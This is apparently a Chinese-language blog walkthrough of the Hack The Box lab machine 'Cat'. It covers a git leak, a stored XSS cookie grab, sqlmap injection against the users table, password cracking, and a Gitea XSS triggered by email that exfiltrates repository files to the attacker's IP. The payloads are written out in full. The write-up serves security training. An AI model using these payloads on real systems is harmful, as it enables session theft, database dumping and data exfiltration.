HTB-cat

HTB-cat

信息收集 22 80端口开放 然后将cat.htb添加到/etc/hosts中 扫描后台 发现git泄露

image-20250202232937210

image-20250205160532764

将git泄露的代码拉下来审计 发现一个xss的

image-20250205224300650

username和email未经过验证就被写进数据库中,这里能写入存储型的xss

获取cookie:

1
<script>document.location='http://10.10.14.68:8888/?c='+document.cookie;</script>

我们虽然写进去了,但是仍然需要找一个地方来触发。

在上传文件的这个地方,当我们满足上传的条件的时候,它就会再次调用我们注册的用户,即那个恶意的xss代码。

image-20250205230911970

image-20250205230954209

首先注册一个用户 上面的payload是用户名 然后登录进去,随便上传一个图片,进行监听即可。

image-20250205210509958

image-20250205210501483

漏洞利用

当我们弹到cookie的时候(更换身份),我们就可以利用sql注入漏洞。

image-20250205230607807

1
2
3
4
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);

$cat_name是可以控制的,利用sqlmap跑即可。

将其转成txt文件 然后放到sqlmap中跑。

image-20250206163238791

1
sqlmap -r '/home/fsrm/Desktop/cat.txt' --level=5 --tables --dump --risk=3 --dbms=sqlite --threads=10 -p "catName"

image-20250206170744228

1
sqlmap -r '/home/fsrm/Desktop/cat.txt' --level=5 --dump --risk=3 --dbms=sqlite --threads=10 -p "catName" -T "users" //指定查看users表中的内容

对rosa的密码进行破解 能得到md5加密之前的。

https://crackstation.net/

image-20250206173346328

然后ssh登录上去看看。

在日志文件里面发现了axel的登录密码。

image-20250206174144320

再次ssh登录上去。里面存放着user.txt

提权

在var/mail下发现一个邮件 查看一下发现是一个内网的服务 端口是3000 转发一下。

是一个Gitea版本信息是1.22.0 网上搜一下 发现一个xss

image-20250206194622664

https://www.exploit-db.com/exploits/52077

利用axel的账号密码能登录进去

image-20250206195744978

1
2
3
4
5
6
7
漏洞利用:

1.首先创建一个新的仓库或者修改现有仓库

2.在仓库描述那个地方添加xss的payload //<a href=javascript:alert()>XSS test</a>

3.保存项目 然后点击项目的描述 就会触发xss

image-20250206200650885

1
<a href="javascript:fetch('http://10.10.14.68:1234/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test</a>

注意前面的邮件中 有一个很重要的地方。

1
2
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

image-20250206220913482

就是需要将我们创建的仓库通过邮箱发送给jobert 让jobert来触发这个xss 而不是我们手动去触发

发送邮件:

1
echo -e "Subject: Test Email\n\nHello,repo http://localhost:3000/axel/test" | sendmail jobert@cat.htb

注意创建的仓库需要传一个文件。

image-20250206224038457

image-20250206224117412

然后就是一个获取md文件的payload

1
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md").then(response=>response.text()).then(data=>fetch("http://10.10.14.68:1234/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS test</a>

image-20250206224909187

解码后的内容:

1
2
# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.

没啥用 知知道用户名不知道密码,看看除了md文件之外是否还有其他文件的存在,先试试index.php

1
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php").then(response=>response.text()).then(data=>fetch("http://10.10.14.68:1234/?d="+encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));'>XSS test</a>

image-20250206225610998

还真有东西。

解码之后是admin的密码。

image-20250206225656388

再次尝试登录发现不对,猜测可能是root的密码 su看一下,提权成功。

image-20250206225941665

总结

首先通过git泄露查看代码进行审计,找到一个sql注入的地方,但前提需要axel身份,用到这个身份就需要通过存储型xss获取cookie,通过文件上传触发xss,然后利用sqlmap将users表中的数据爆破出来,逐个破解得到rosa的密码,ssh登录进去,在日志文件的地方找到axel的ssh密码,然后再次登录,通过邮件信息知道存在内网,端口映射出来,查找是一个xss,这里需要注意的是不要自己手动触发xss,而是需要发送邮件,让另外一个用户去触发,从而获取到未授权的文件内容,读取md文件无果,查看是否存在其他文件,得到index.php,然后得到root的密码,最后提权即可。


HTB-cat
http://example.com/2025/02/02/HTB-cat/
作者
FSRM
发布于
2025年2月2日
更新于
2025年2月6日
许可协议